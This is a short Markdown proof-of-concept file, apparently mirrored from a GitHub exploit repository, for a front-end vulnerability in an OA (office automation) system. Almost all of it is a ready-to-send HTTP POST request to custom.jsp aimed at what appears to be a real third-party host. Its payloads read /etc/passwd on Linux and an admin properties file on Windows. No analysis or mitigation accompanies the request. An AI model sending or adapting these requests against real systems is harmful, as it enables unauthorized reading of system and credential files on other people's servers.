mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
17 lines
442 B
Markdown
17 lines
442 B
Markdown
## 某凌OA前台代码执行
|
|
```
|
|
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
|
|
Host: www.ynjd.cn:801
|
|
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
|
|
Accept: /
|
|
Connection: Keep-Alive
|
|
Content-Length: 42
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
var={"body":{"file":"file:///etc/passwd"}}
|
|
```
|
|
var={"body":{"file":"file:///etc/passwd"}} // linux
|
|
|
|
|
|
var={"body":{"file":"/WEB-INF/KnssConfig/admin.properties"}} //windows
|